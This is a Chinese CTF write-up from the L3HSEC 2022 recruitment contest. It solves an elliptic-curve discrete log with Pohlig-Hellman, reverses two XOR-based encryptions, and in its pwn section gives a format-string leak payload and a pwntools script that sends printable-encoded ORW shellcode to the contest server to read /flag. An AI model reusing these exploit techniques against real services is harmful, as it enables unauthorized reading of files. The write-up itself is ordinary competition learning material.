问题转化为了求l,使得Q=lP,根据提示采用pohlig-hellman算法来求,首先先分解P的阶:

假设p的阶x分解为

将这些因子单独拿出来,计算

如果能得到li的值,那么剩下就可以用中国剩余定理计算
将li设成:
问题转变为了求z,为了计算z,取P0和Q0,其中:

进一步可以推出:
这样就有:
这时候P域上的离散对数分解到了P0域上,求得z0代回原式
此时可继续求z1,但是因为这里我们的factor最高次数为1,所以只用求一次,也就是得到z0即可,这样li也就求出来了,再用中国剩余定理,l的值就得到了

最终的sage代码:

M = 321926610273616650525824108536700279212350866647530622269302809271682737763257560088641
A = 31030867082543847272019450082250517880295729931851175197103022808416739451723625980005
B = 142049469222136951075696377209080640921370274261432456129295338173419592979392060338227
P = (61621803131408319635029766825719907867842946540104700557009765261727264962796229094568,90378017679706887143409145158264522897855153307452350004018644435133535912241818885072)
Q = (310437823810844905448242773133403586337899801305811045192960893487704024383375218773605, 304988667194749192663091131350248651649623530747853134775926969946385963577679155080700)x, y = P[0], P[1]
b = (y^2 - x^3 - A*x) % M
#print(b)F = FiniteField(M)
E = EllipticCurve(F,[A,B])
P = E.point(P)
Q = E.point(Q)
print(factor(P.order()))
factors, exponents = zip(*factor(P.order()))
primes = [factors[i] ^ exponents[i] for i in range(len(factors))][:-2]
dlogs = []
for fac in primes:t = int(P.order()) // int(fac)dlog = discrete_log(t*Q,t*P,operation="+")dlogs += [dlog]print("factor: "+str(fac)+", Discrete Log: "+str(dlog)) #calculates discrete logarithm for each prime orderl = crt(dlogs,primes)
print(l)
#8314044453310529150

得到l后,long_to_bytes(l)即可得到flag:sakana~~,套上L3HSEC{},最终的flag为:L3HSEC{sakana~~}

Reverse

f5

ida打开f5.exe,发现分成两部分,第一部分是对输入的arglist做一个简单加密:
然后对比真正的flag值:
因此思路非常简单,获取v5的值,然后异或i再减去33即可得到flag

data = [0x6D, 0x55, 0x6B, 0x77, 0x62, 0x61, 0x9A, 0x62, 0x59, 0x89, 0x90, 0x7B, 0x9A, 0x8D, 0x62, 0x80, 0x80, 0x89,0x92, 0x99, 0x91, 0x97, 0x96, 0x90, 0x4E, 0x99, 0x5D, 0x62, 0x8C, 0x8E, 0x7E, 0x81]flag=""
for i in range(len(data)):flag+=chr((data[i]^i)-33)
print (flag)

得到flag:L3HSEC{D0_yOu_Know_ida_f5_&Xor?}

OldTechonmlogyFileSystem

打开压缩包发现五个文件:flag,simplefs,image,instruction.txt,OtFs和output,看一下instructions:
按照格式运行一遍,发现plantflag将flag加密输入到image中,但是output怎么来的我很困惑,于是shift+f12查看字符串发现有一个copyout:
尝试copyout 134 output,产生了一个输出文件output,这应该是第五个文件的来源,但与此题无关

在IDA中找找有关于加密的地方,发现sub_21b2函数:
函数的作用大概是依次异或v4的BYTE0,BYTE1,BYTE2和HIBYTE,一次取两位,为了解密flag,需要知道v4的值,在这下断点调试一下

运行到这可以发现v4=rax=0xDEEDBEEF
而flag文件给出了flag的格式,L3HSEC{这个开头不会变,可以利用这个定位加密的位置:

a='L3HSEC{'
for i in a:x=ord(i)x = (x >> 1) | (x << 7)&0xffx ^= 0xefx = (x >> 2) | (x << 6)&0xffx ^= 0xbex = (x >> 3) | (32 * x)&0xffx ^= 0xedx = (x >> 4) | (16 * x)&0xffx ^= 0xdex = (x >> 5) | (8 * x)&0xffprint(hex(x))

输出为0xcc、0x32、0xc4、0xf2、0xde、0xd2、0xa2,在image中找到对应位置


最后的EXP:

flag = ''a = [0xCC, 0x32, 0xC4, 0xF2, 0xDE, 0xD2, 0xA2, 0xC8, 0xBC, 0xD8, 0xB2, 0xC6, 0xB2, 0xC8, 0x9E, 0xBA,0xFC, 0x9E, 0x92, 0x84, 0x88, 0x8A, 0x8C, 0x8A, 0x9A, 0xA6, 0xF2, 0xA6, 0xB2, 0xAE, 0x40]
for j in range(len(a)):for i in range(32, 128):x = ix = (x >> 1) | (x << 7) & 0xffx ^= 0xefx = (x >> 2) | (x << 6) & 0xffx ^= 0xbex = (x >> 3) | (32 * x) & 0xffx ^= 0xedx = (x >> 4) | (16 * x) & 0xffx ^= 0xdex = (x >> 5) | (8 * x) & 0xffif (x == a[j]):flag += chr(i)
print(flag)

得到flag:L3HSEC{NtFsIsNewTechnologySys}

PWN

race_car

运行一下,输入name和nickname,然后会让你选择两辆车中的一辆,拥有不同的数值,分别在Speed和Handling有优势,根据选择的比赛形式选择车,比如highway选择speed数值大的,Circuit选择Handling数值大的,就能够获胜,获胜后会让你发表获奖感言,然后会回显获奖感言,而且根据提示“he grand winner of the race wants the whole world to know this”猜想是格式化字符串泄露内存,ida打开看一下,根据字符串找到获奖感言的位置:


果然发现read+gets这样明显的格式化字符串漏洞,又观察到前面读入了flag.txt,因此本题的思路就是利用格式化字符串漏洞泄露读入到栈上的flag.txt的内容
剩下的就是确认一下位置了,输入几个%p,回显
0x566b91c0/0x170/0x56575dfa/0x29/0x2/0x26/0x2/0x1/0x5657696c/0x566b91c0/0x566b9340/0x41414141/0x41414141/0x41414141/0xea0d000a/0x56576d58/0x56578f8c/0xfffd2888/0x5657638d

可以看到在第十二个位置出现了flag的内容(flag内容为AAAA),因此最后payload为:
%12$x.%13$x.%14$x.%15$x.%16$x.%17$x.%18$x.%19$x.%20$x.%21$x.%22$x.%23$x
得到flag的十六进制存储:
5348334c.327b4345.31653839.2d363336.39373236.6436342d.61382d32.312d6266.34353036.30323033.356465
转为ascii:L3HSEC{298e1636-6279-46d2-8afb-160543020ed5b
转化脚本为:

import binascii
def hexStr_to_str(hex_str):hex = hex_str.encode('utf-8')str_bin = binascii.unhexlify(hex)return str_bin.decode('utf-8')
if __name__ == "__main__":flag=''hex_str = '5348334c.327b4345.31653839.2d363336.39373236.6436342d.61382d32.312d6266.34353036.30323033.356465'strs = hex_str.split(".")for str in strs:flag+=hexStr_to_str(str)[::-1]print(flag)

shellcode

file&checksec一下,有NX保护无canary
ida查看一下,逻辑简单,开了一个可以rwx的页,我们输入一段shellcode,检查是不是可见字符,最后在沙箱中执行它。
明显的ORW,使用ae64编码为可打印字符,payload如下:

from pwn import *
import sys
sys.path.append('/root/Env/ae64')
from ae64 import AE64
mmap_addr=0x36363000
p = remote('ctf.l3hsec.com', 40022)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
payload = b''
payload += asm(shellcraft.open("/flag"))
payload += asm(shellcraft.read(3,mmap_addr,0x2c))
payload += asm(shellcraft.write(1,mmap_addr,0x2c))
ae86 = AE64()
# 把rdx的值写入buf
payload = ae86.encode(payload, 'rdx')
p.sendline(payload)
p.recv()

最后得到flag:

L3HSEC 2022秋季招新赛部分WP相关推荐

  1. 2021 CNSS招新赛 WEB WP

    前言 CNSS的一个招新赛,挺有意思的,让我感受到了校与校的差距T_T Web Signin 一开始提示Please Change Your Method!,抓包修改为POST方法即可得到源码 < ...

  2. 青少年CTF-弱口令实验室招新赛部分wp复现步骤

    前言:本人CTF小白,写的不好的地方多多批评. Misc部分 ScanQR 打开附件,得到一张图片,但是用工具扫不出来什么 这题考察的是汉信码,找个在线工具扫描得到网盘地址 里面得到base64字符, ...

  3. 青少年CTF-弱口令实验室招新赛个人wp

    Reverse Check: 下载附件,用IDA反编译,F5发现有ASCII,导出来用异或脚本跑一下就出flag qsnctf{M0x1n_Love_you!} LookThis: 下载附件,010查 ...

  4. 2022 弱口令安全实验室招新赛-靶机挑战记录

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言 一.ubuntu 代码执行getshell 获取webshell 二.server 2008r2 EW 流量代理 ms ...

  5. SLsec招新赛wp

    文章目录 一.前言 二.题目 2.1 MISC类 2.1.1 简单的隐写 2.1.2 海贼王里的宝藏 2.1.3 找你妹啊! 2.1.4 大佬的奇妙冒险 2.1.5 简单地压缩包 2.2 CRYPTO ...

  6. [青少年CTF]弱口令实验室招新赛部分WriteUp

    Web 0x01 开胃菜 <?php highlight_file(__FILE__); if(strlen($_GET[1]&&$_GET[1]<=5)){echo st ...

  7. ACM—TC 联合招新赛 Round2

    ACM-TC 联合招新赛 Round2 A 贪心 问最少需要多少张纸币可以支付 n元 很容易可以想到 先给100元 100元用完给50 从大到小支付即可. #include <cstdio> ...

  8. 20年9月wust招新赛writeup

    20年9月wust招新赛writeup Crypto 黑铁2 黑铁1 青铜3 青铜5 白银5 黄金3 黄金2 Misc 黑铁3 白银3 铂金3 黄金1 铂金2 Web 青铜2 青铜1 白银3 白银2 ...

  9. UUCTF招新赛Misc-writeup from 王八七七总结

    UUCTF(union university CTF)是由发起的联合性质新生招新赛,旨在联合更多拥有CTFer的院校共同举办联合招新等赛事,解决单独学校方向缺失以及举办招新赛减少精力等问题,联合共赢, ...

  10. 2022学年第一学期郑州大学ACM招新赛选拔赛

    A SW的与众不同数组 - 签到 一共n个数, 用set无重复值的性质统计一下有几个不同的数,记为 res n - res 如果是偶数 每次删除两个刚好可以,如果是奇数需要再删除一个不重复的数完成对应 ...

最新文章

  1. 企业不要求工程师资格认证_谁说工程师不能成为企业家?
  2. [CERC2017]Buffalo Barricades
  3. tomcat的根路径设置
  4. 得力科学计算机怎么求余,山商“郭叔”:妙招讲高数 考研路上得力导师
  5. 思维导图下载 注册安全_【思维导图】初中各科思维导图,涵盖3年各科所有知识点,可下载打印!...
  6. Maven 打成 Webjar的方法
  7. 图像 pipeline_ARADEEPOPSIS:一个基于叶状态语义分割的自动植物表型Pipeline
  8. npm安装typescript
  9. 最小二乘原理求解线性回归方程
  10. 牛客 黑龙江大学程序设计竞赛重现 19-4-25 D
  11. Laravel Blade 模板用法
  12. javascript--Math相关
  13. Mouse Without Borders 使用经验
  14. typedef struct Lnode{ Elemtype data; struct Lnode *next; } Lnode,*Linklist;
  15. 睡眠 应该用 a加权 c加权_困成狗?谈谈睡眠研究的遗传发现之旅
  16. 2021中国山地自行车哪个品牌好全球十大顶级自行车品牌排行榜
  17. 无法打开internet站点ie6,7
  18. xshell6家用版下载和使用
  19. 解决IE禁止第三方Cookie
  20. 由“c++链接错误:未定义的引用“引发的思考

热门文章

  1. kru生成树变种 poj3522 bzoj 1196
  2. 光波传输的角谱理论【理论,实例及matlab代码】
  3. python中sys的用法
  4. 《java websocket》之 实现
  5. html游戏寻宝,达内:用scratch实现的小游戏—迷宫寻宝
  6. 以计算机为主题的想象作文,以想象为话题的作文(通用13篇)
  7. Kafka【问题 02】KafkaTemplate 报错 Bootstrap broker localhost:9092 (id: -1 rack: null) disconnected 问题解决
  8. Golang优秀开源项目汇总, 10大流行Go语言开源项目, golang 开源项目全集(golang/go/wiki/Projects), GitHub上优秀的Go开源项目...
  9. 手把手教你搭建Hexo博客
  10. FISCO BCOS区块链搭建说明(第一篇)